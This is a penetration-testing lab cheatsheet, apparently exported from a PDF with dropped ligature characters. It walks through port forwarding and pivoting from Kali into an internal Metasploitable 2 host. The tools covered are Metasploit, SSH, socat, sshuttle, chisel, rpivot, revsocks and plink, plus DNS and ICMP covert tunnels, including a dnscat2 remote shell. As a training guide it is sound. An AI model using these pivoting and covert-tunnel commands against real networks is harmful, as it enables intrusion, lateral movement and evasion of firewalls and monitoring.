Port Forwarding & Tunnelling Cheatsheet

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 Port Forwarding & Tunnelling Cheatsheet

Contents
Introduc�on ............................................................................................................................................ 3
Apache Virtual Host ................................................................................................................................ 3
Lab Configura�on .................................................................................................................................... 3
Port Forwarding ...................................................................................................................................... 5
Port Forwarding using Metasploit....................................................................................................... 6
SSH Local Port Forwarding .................................................................................................................. 8
Port Forwarding using Socat ............................................................................................................... 9
Tunnelling ................................................................................................................................................ 9
Lab Requirements ......................................................................................................................... 10
Sshutle ............................................................................................................................................. 10
Chisel ................................................................................................................................................. 12
Install Chisel on Ubuntu ................................................................................................................ 14
Chisel using Socks5 proxy .................................................................................................................. 15
Rpivot using Socks4 proxy ................................................................................................................. 18
Dynamic SSH Tunneling ..................................................................................................................... 20
Local SSH Tunneling .......................................................................................................................... 22
Local SSH Tunnelling using Plink.exe ................................................................................................. 23
Dynamic SSH Tunneling using Plink.exe ............................................................................................ 25
Tunnelling using Revsocks ................................................................................................................. 27
Tunnelling with Metasploit (SOCKS 5 and 4a) ................................................................................... 29
SOCKS 4a ....................................................................................................................................... 32
Tunnelling with DNScat2 ................................................................................................................... 35
DNScat2 Tunneling on Port 22 ...................................................................................................... 35
DNScat2 Tunnelling on port 80 ..................................................................................................... 40
ICMP Tunneling ................................................................................................................................. 41

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Introduction
In this ar�cle, we are going to learn about the concepts and techniques of Port forwarding and
Tunnelling. This ar�cle stands as an absolute cheatsheet on the two concepts.

Port forwarding transmits a communica�on request from one address and the port number while
sending the packets in a network. Tunnelling has proven to be highly beneficial as it lets an
organisa�on create their Virtual Private Network with the help of the public network and provide
huge cost benefits for users on both the end.

Apache Virtual Host

Virtual Web hos�ng is a concept you may have come across in various Capture-the-Flag challenges.
Recently, professionals in corporate environments have also started using it to host their common
services under fewer IP address.

Virtual web hos�ng refers to a method of running several web servers on a single host. Using this
method, one computer can host thousands of websites. Moreover, Apache web servers have become
one of the most popular web-serving methods because they are extremely powerful and flexible.

Apache can easily transform into a virtual host. This transforma�on allows the hos�ng of an
individual website. As a result, network administrators can use a single server to host various
websites or domains. This setup func�ons smoothly as long as the server can handle the load of the
mul�ple hosted servers.

Lab Configuration
The lab requirements comprise of:

• VMware Worksta�on
• Ubuntu
• Kali Linux

Let us start with configuring Apache2 services. To do this you will need to have Apache installed in
your Linux systems. You can install it using

apt install apache2

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Then we need to create a directory for the websites we have to host.

mkdir /sbin/test
Then go to the /etc/apache2 directory and edit the file ports.conf and add 'Listen 127.0.0.1:8080'
before 'Listen 80' as in the image below.

cd /etc/apache2
nano ports.conf
cat ports.conf

Now let us create the test.conf file and add the following code in /etc/apache2/sites-available/

nano /etc/apache2/sites-available/test.conf
<VirtualHost 127.0.0.1:8080>
DocumentRoot /sbin/test/

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ServerName localhost
AllowEncodedSlashes NoDecode
<Directory "/sbin/test/">
Require all granted
AllowOverride All
Options FollowSymLinks MultiViews
</Directory>
</VirtualHost>

Now let us make use the tool a2ensite to enable our website and the let us restart our apache2.

a2ensite test.conf
systemctl restart apache2
Therefore, here we finish the setup of our lab by crea�ng a virtual host.

Port Forwarding
Port forwarding is establishing a secure connec�on between a remote user and local machines. In
organisa�ons one can give their source and des�na�on port numbers to make use of tunnelling with
the help of Linux. Along with this, they should also men�on the des�na�on which can be the IP
address or name of the host.

Let’s switch on the Kali Linux machine and check if the webpage is being hosted. However, it shows
that the page is unavailable. Therefore, let us explore how we can forward the local address and port
to the remote host. This can be done using various methods. So, let’s examine them one by one.

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Port Forwarding using Metasploit

Now we take SSH session using Metasploit. Here we get the meterpreter session and then on using
netstat command, we observe that port 8080 is running on the local host.

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.108
set username raj
set password 123
exploit
sessions -u 1
sessions 2
netstat -antp

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Here we make use of por�wd to forward all the traffic to the Kali machine, where you men�on the
local and the remote port and the local address.

portfwd add -l 8081 -p 8080 -r 127.0.0.1

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When we load this page on the web browser using 127.0.0.1:8081 in the Kali machine, we see that
the contents of the web page are displayed.

SSH Local Port Forwarding

SSH uses this method to forward the applica�on ports from a client machine to a server machine. In
this setup, the SSH client listens for connec�ons on a configured port. When a connec�on is received,
it tunnels the traffic to an SSH server. Consequently, the server connects to a configured des�na�on
port on a machine other than the SSH server.

This opens a connec�on to the machine with IP 192.168.1.108 and forwards any connec�on of port
8080 on the local machine to port 8081. To know more about SSH tunnelling, visit here.

ssh -L 8081:localhost:8080 -N -f -l raj 192.168.1.108

We can see the contents of the web page when we load it in the web browser using 127.0.0.1:8081
on the Kali machine.

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Port Forwarding using Socat

Socat is generally a command-line u�lity available in Linux. It transfers data between two hosts. Here,
we use it for port forwarding. Specifically, we configure it to redirect all TCP connec�ons from
127.0.0.1:8080 to port 1234.

socat TCP-LISTEN:1234,fork,reuseaddr tcp:127.0.0.1:8080 &

A�er that, when we load the web page in the browser using 192.168.1.108:1234 on the Kali
machine, the browser shows the page contents.

Tunnelling
Tunnelling allows users to access remote resources over a public network. In this method, users
establish point-to-point tunnels. As a result, remote users connect to the network through the
tunnel's other endpoint. Tunnelling protocols encapsulate the remote user’s traffic. Then, they send
the traffic through the public network. Finally, the protocol decapsulates the traffic and delivers it to

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the intended user. Although the tunnel is not encrypted by default, its security depends on the
selected TCP/IP protocol.

Let us look at how we can perform Tunnelling using various methods and tools.

Lab Requirements
• Kali Linux with IP address 192.168.1.2
• Ubuntu with 2 NIC, consis�ng of two IP addresses – 192.68.1.108, 192.168.226.128
• Metasploitable 2 with IP address 192.168.226.129

Sshuttle
Sshutle facilitates to generate a VPN connec�on from a local machine to a remote Kali Linux with the
help of SSH. For the proper func�oning, one must have root access on the local machine but the
remote Kali Linux can have any type of account. Sshutle can run more than once concurrently on a
par�cular client machine.

Let’s see how we can use Sshutle to get the access of a Metasploitable 2 machine which has a
different subnet using Ubuntu machine which has two internet addresses with different subnets but
also has the subnet in which the Kali Linux is present.

Now let’s check the IP addresses of the Kali Linux machine

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On checking the IP address of the Ubuntu machine we see that it has two IP addresses with different
subnets.

Then, let’s install the tool Sshutle in the Kali Linux machine.

apt install sshuttle

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A connec�on is created remotely with the Ubuntu (raj@192.168.1.108) and then the address of
Metasploitable 2(192.168.226.129) using Sshutle. Men�on the password of Ubuntu and hence you
are connected.

sshuttle -r raj@192.168.1.108 192.168.226.129

Subsequently, when you put the Metasploitable 2 IP address in your Kali Linux’s browser, you will
able to access the Metasploitable 2 on port 80.

Hence, here we saw that using Sshutle, we first connected the Kali Linux with Ubuntu. Once the
connec�on with Ubuntu was made, using that, a connec�on between Kali Linux and Metasploitable
2 was created.

Chisel
Chisel acts as a TCP/UDP tunnel that transports data securely using SSH. It includes both the client
and the Kali Linux machine in its setup. Typically, users rely on it to bypass firewalls. Addi�onally, it
can provide a secure connec�on to a private network. Let us now see how this works.

First, we need to install Chisel and Golang on our Kali Linux machines.

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Note: Chisel is writen in Golang. Therefore, to ensure it func�ons correctly, we must also install
Golang.

git clone https://github.com/jpillora/chisel.git

apt install golang

Now as we now have a copy of the chisel source, we can now proceed to build our binaries for Linux
land hence compile the packages of the chisel using go build to begin.

go build -ldflags="-s -w"

To listen on port 8000 on the Kali Linux and allow clients to specify reverse port forwarding. Here the
reverse tunnelling has been ac�vated.

./chisel server -p 8000 –reverse

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Install Chisel on Ubuntu

Now let us install chisel and golang on Ubuntu, and compile all the packages.

git clone https://github.com/jpillora/chisel.git

apt install golang
cd chisel/
go build -ldflags="-s -w"

A�er this done, let’s run chisel on Ubuntu to connect Kali Linux and Metasploitable 2.

./chisel client 192.168.1.2:8000 R:5000:192.168.226.129:80

Open the web browser in the Kali Linux machine to check the connec�on between the Kali Linux and
Metasploitable 2 which is created on the local address and port 5000.

http://127.0.0.1:5000

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Chisel using Socks5 proxy

We can follow the ini�al set-up steps in Ubuntu and Kali Linux as seen in the chisel above proceed
ahead.

To listen on port 8000 on the Kali Linux and allow clients to specify reverse port forwarding. Here the
reverse tunnelling has been ac�vated.

./chisel server -p 8000 –reverse

In ubuntu machine, the next step is to connect to our client using the new reverse socks op�on.

./chisel client 192.168.1.2:8000 R:socks

Now we connect the Ubuntu to Metasploitable 2.

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./chisel client 192.168.1.2:8000 R:8001:192.168.226.129:9001

Here we point our Socks5 client which is Metasploitable 2 to the Kali Linux using Ubuntu.

./chisel server -p 9001 --socks5

Now let’s open the web browser in the Kali Linux and go to configure the proxy se�ngs. Here we are
manually configuring the proxy, therefore, men�on the SOCKS host address as the local address i.e.,
127.0.0.1 and choose socks5 proxy on port 1080. Also, men�on the local address in the ‘no proxy
for’ box.

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When you open the web browser in the Kali Linux machine and add the Metasploitable 2 IP, you see
that the Kali Linux is connected to the Metasploitable 2.

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Rpivot using Socks4 proxy

RPIVOT generally provides tunnel traffic into the internal network using socks 4 proxy. Its working is
like SSH dynamic port forwarding but is in the opposite direc�on. It also has a client-server
architecture. When a run client on the machine it will tunnel the traffic through and for that the Kali
Linux should be enabled so that it can listen to the connec�ons from the client.

Let’s install Rpivot in the Kali Linux machine. Then go to its directory and start the listener on port
9999, which creates socks version 4 proxy on 127.0.0.1 on a port while connec�ng with the client

git clone https://github.com/klsecservices/rpivot.git

python server.py --server-port 9999 --server-ip 192.168.1.2 --proxy-ip 127.0.0.1 -
-proxy-port 1080

Now install rpivot in the Ubuntu machine and connect it with the Kali Linux

git clone https://github.com/klsecservices/rpivot.git

python client.py --server-ip 192.168.1.2 --server-port 9999

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Now go to the web browser in your Kali Linux machine, and manually configure the proxy. Set the
Socks host address as local address and port as 1080. Select the Socks version 4 and men�on the
local address for ’no proxy for’.

Now when you open the web browser in your Kali Linux machine, but the IP address of the
Metasploitable 2 and hence you will be able to see the connec�on.

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Dynamic SSH Tunneling

Dynamic SSH Tunneling provides a connec�on with the range of ports by making SSH work like a
SOCKS proxy Kali Linux. A SOCKS proxy is an SSH tunnel where applica�ons send their traffic using a
tunnel where the proxy sends it traffic like how it is sent to the internet. In SOCKS proxy, it is
mandatory to configure the individual client. Dynamic Tunneling can receive connec�ons from
numerous ports.

In Kali Linux machine let’s run the command to connect with the Ubuntu using Dynamic SSH
tunnelling.

ssh -D 7000 raj@192.168.1.108

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Once the connec�on between the Kali Linux and Ubuntu is made, let's open the browser in the Kali
Linux machine and configure the proxy in the se�ngs. Choose to manually configure the proxy and
men�on the local address as the socks host and the port number as 7000. Now select the socks
version 5 and men�on the local address in ‘no proxy for’ sec�on.

Hence when you put the IP of the Metasploitable 2 in the browser of the Kali Linux, you will have an
accessible connec�on Metasploitable 2 using dynamic Tunnelling.

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Local SSH Tunneling

Here, all the connec�ons which are trying to connect with the Metasploitable 2 using Ubuntu with
the local des�na�on and port. The -L indicates the local port.

In the Kali Linux machine, add the localhost and then the Metasploitable 2 username and password
to create local SSH tunnelling

ssh -L 7000:192.168.22.129:80 raj@192.168.1.108

You can open the Kali Linux’s browser and men�on the local address along with the port 7000 on
which the traffic was transferred.

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Local SSH Tunnelling using Plink.exe

Here we are making use of command-line in windows machine for tunnelling, where a command-line
tool for Puty is being used called plink.exe. Here all the connec�ons which are trying to connect with
the Metasploitable 2 using Ubuntu with the local des�na�on and port.

plink.exe -L 7000:192.168.226.129:80 raj@192.168.1.108

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Now open the web browser in the window’s machine and put the local address and the port 7000 on
which the traffic of Metasploitable 2 was forwarded. You see that there was local SSH Tunnelling
between Metasploitable 2 and the Kali Linux using plink.exe

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Dynamic SSH Tunneling using Plink.exe

Plink.exe is the windows command line for puty in the windows machine which we will use for
Dynamic Tunneling can receive connec�ons from numerous ports.

In Kali Linux machine let’s run the command to connect with the Ubuntu using Dynamic SSH
tunnelling.

plink.exe -D 8000 raj@192.168.1.108

Once the connec�on between the Kali Linux and Ubuntu is established, let us open the browser in
the Kali Linux machine and configure the proxy in the se�ngs. Choose to manually configure the
proxy and men�on the local address as the socks host and the port number as 8000. Now select the
socks version 5 and men�on the local address in ‘no proxy for’ sec�on.

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Hence when you put the IP of the Metasploitable 2 in the browser of the Kali Linux, you will have an
accessible connec�on Metasploitable 2 using dynamic SSH tunnelling with the help of plink.exe.

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Tunnelling using Revsocks

Revsocks stands for Reverse socks5 tunneler. You can download it from here in the windows
opera�ng system. Here in the windows system, we are trying to connect with Ubuntu using socks5.

revsocks_windows_amd64.exe -listen :8443 -socks 0.0.0.0:1080 -pass test

Now let’s open Ubuntu and download revsocks for Linux. Here we connect Ubuntu with
Metasploitable 2 and then we move to proxy se�ngs.

./revsocks_linux_amd64 -connect 192.168.1.3:8443 -pass test

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Now in the Windows machine, open the browser and open proxy se�ngs. Here, choose to manually
configure the manual proxy configura�on and men�on the local address in the socks host and
men�on the port number as 1080. Choose the socks version 5 and then men�on the local address in
the ’no proxy for’ space.

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When you open the web browser in the Windows machine and men�on the IP address of the
Metasploitable 2, you will be connected with the Metasploitable 2 using revsocks.

Tunnelling with Metasploit (SOCKS 5 and 4a)

Here we start Metasploit in the Kali machine. Then a connec�on is established with Ubuntu using the
auxiliary module with the help of SSH. Once the connec�on is established, a meterpreter session was
created. Then we make use of post module with autoroute. The autoroute post module will help
create an addi�onal route through the meterpreter which will allow us to dive deeper in the
network. Here we will connect with Metasploitable 2. Next, we will use the auxiliary module for
socks5. This is now a deprecated module. Set the localhost address and exploit. The auxiliary module
will then start running.

use post/multi/manage/autoroute
use auxiliary/server/socks5
set srvhost 127.0.0.1
exploit

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Now go to the web browser in the Kali Linux machine, open the browser and open proxy se�ngs.
Here, choose to manually configure the manual proxy configura�on and men�on the local address
in the socks host and men�on the port number as 1080. Choose the socks version 5 and then
men�on the local address in the ’no proxy for’ space.

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When you open the web browser in the Kali Linux and men�on the IP address of the Metasploitable
2, you will be connected with the Metasploitable 2 using Metasploit.

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SOCKS 4a
Now let’s start Metasploit in the Kali machine where the connec�on is established with Ubuntu with
the help of auxiliary module using SSH. Then a meterpreter session was created. Then we will use
the post-module where we will use autoroute. The autoroute post module will help to create
addi�onal routes through the meterpreter which will allow us to dive deeper in the network. Here
we will connect with Metasploitable 2. Next, we will use the auxiliary module for socks4a. This is now
a deprecated module. Instead, we can use the new module Set the localhost address and exploit. The
auxiliary module will then start running.

use post/multi/manage/autoroute
use auxiliary/server/socks4a
set srvhost 127.0.0.1
exploit

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Hence, open the web browser in the Kali Linux machine, and open proxy se�ngs. Now, choose to
manually configure the manual proxy configura�on and men�on the local address in the socks host
and men�on the port number as 1080. Choose the socks version 4a and then men�on the local
address in the ’no proxy for’ space.

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Finally, when you open the web browser in the Kali Linux and men�on the IP address of the
Metasploitable 2, you will be connected with the Metasploitable 2 using Metasploit.

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Tunnelling with DNScat2

DNScat2 is a tool which can be used to create a tunnel with the help of DNS protocol. A connec�on
to port 53 should be established to access any data. DNScat2 mainly consists of a client and a Kali
Linux. In our scenario, we need to establish a connec�on between Metasploitable 2 and Kali Linux
using Ubuntu as the medium.

Let's begin with installing DNScat2 in the Kali Linux machine using apt install which will automa�cally
build dependencies.

DNScat2 Tunneling on Port 22

apt install dnscat2

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Once this is done, the dnscat2 server will start running.

In the Ubuntu machine, we will install dnscat2 using git clone. Here we will have to install the
dependencies manually to get the tool started.

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/
cd client/
make

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Now let's establish a connec�on between the Kali Linux and Ubuntu.

./dnscat --dns=server=192.168.1.2,port=53

A�er we establish the connec�on successfully, the Kali Linux machine creates a session. Next, we
check the available sessions. Then, we interact with one of them and send a request to create a shell.
As soon as the request is accepted, the system opens a new window and starts session 2.

session
session -i 1
shell

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Using the second session, you now have access to the Ubuntu machine. So now let's check the IP
address of the client one machine. Here we see that Ubuntu has two NIC cards installed within it.

session -i 2
ifconfig

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Then, we will connect the Metasploitable 2 port 22 to the port 8888 to create a DNS tunnel between
them using the shell.

listen 127.0.0.1:8888 192.168.226.129:22

Finally, open a new tab in the Kali Linux machine and login to the Metasploitable 2 machine with its
creden�als and now you will be able to communicate with Metasploitable 2 using the Kali Linux.

ssh msfadmin@127.0.0.1 -p 8888

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DNScat2 Tunnelling on port 80

We can perform the same using port 80.

listen 127.0.0.1:9999 192.168.226.129:80

When we open the web browser on the Kali Linux machine and enter the URL of the Metasploitable
2 machine, we can see that the connec�on is successfully established. This confirms the connec�on
between the Kali Linux and Metasploitable 2, running on Ubuntu.

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Similarly, the same can be done in the windows system Follow this link here to download a suitable
dnscat2 client for your system of windows. To get a detailed explana�on on DNScat2 you can read
here.

ICMP Tunneling
The main aim of the ICMP tunnel is to send TCP connec�on where an SSH session will be used in an
encapsulated form of ICMP packets. Let’s first configure the ICMP tunnel on the Ubuntu machine.
You can read a detailed ar�cle from here.

We will first download and install icmptunnel on the server-side and compile the file by unpacking its
components.

git clone https://github.com/jamesbarlow/icmptunnel.git

cd icmptunnel
make
Then we will disable ICMP echo reply on both the Ubuntu and the Kali Linux. This halts the kernel
from responding to any of its packets.

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

./icmptunnel -s
Ctrl+z
bg

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Secondly, let’s start the ICMP tunnel on Ubuntu on server mode and assign it a new IP address for
tunnelling.

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

Ifconfig

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Then, let’s install and set up ICMP tunnel on the client-side i.e Kali Linux as we did in Ubuntu.

git clone https://github.com/jamesbarlow/icmptunnel.git

cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.108
Ctrl+z
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
ifconfig

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A�er crea�ng the second IP address for tunnelling on the Kali machine, we ini�ate an SSH
connec�on. To do this, we use the server-side creden�als with the IP address 10.0.0.1.

ssh raj@10.0.0.1

Finally, when we launch Wireshark and capture the packets, we no�ce something interes�ng. All the
SSH packets, which normally use TCP, are now transported over the ICMP protocol.

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